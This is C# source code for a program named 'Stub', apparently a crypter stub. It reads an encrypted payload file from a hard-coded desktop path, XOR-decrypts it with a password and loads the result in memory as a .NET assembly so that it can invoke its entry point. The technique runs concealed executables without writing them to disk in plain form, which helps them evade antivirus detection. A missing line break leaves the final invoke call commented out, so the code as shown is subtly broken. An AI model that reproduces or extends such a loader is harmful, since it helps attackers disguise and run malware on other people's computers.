using System;
using System.Collections.Generic;
using System.Linq;
using System.Threading.Tasks;
using System.Windows.Forms;
using System.IO;
using System.Text;
using System.Reflection;
using System.Diagnostics;
namespace Stub
{
static class Program
{
/// <summary>
/// MAIN
/// </summary>
[STAThread]
static void Main()
{
Application.EnableVisualStyles();
Application.SetCompatibleTextRenderingDefault(false);
//Application.Run(new Form1());
//Set Payload File and Password HERE
RunInternalExe("C:/Users/Androide/Desktop/test/o.txt", "1234");
}
private static void RunInternalExe(string exeName, String pass)
{
//Verify the Payload exists
if (!File.Exists(exeName))
return;
//Read the raw bytes of the file
byte[] resourcesBuffer = File.ReadAllBytes(exeName);
//Decrypt bytes from payload
byte[] decryptedBuffer = null;
decryptedBuffer = decryptBytes(resourcesBuffer, pass);
//If .NET executable -> Run
if(Encoding.Unicode.GetString(decryptedBuffer).Contains("</assembly>"))
{
//Load the bytes as an assembly
Assembly exeAssembly = Assembly.Load(decryptedBuffer);
//Execute the assembly
object[] parameters
= new object[1]; //Don't know why but fixes TargetParameterCountException exeAssembly.EntryPoint.Invoke(null, parameters);
}
}
/// <summary>
/// Decrypt the Loaded Assembly Bytes
/// </summary>
/// <param name="payload"></param>
/// <returns>Decrypted Bytes</returns>
private static byte[] decryptBytes(byte[] bytes, String pass)
{
byte[] XorBytes = Encoding.Unicode.GetBytes(pass);
for (int i = 0; i < bytes.Length; i++)
{
bytes[i] ^= XorBytes[i % XorBytes.Length];
}
return bytes;
}
}
}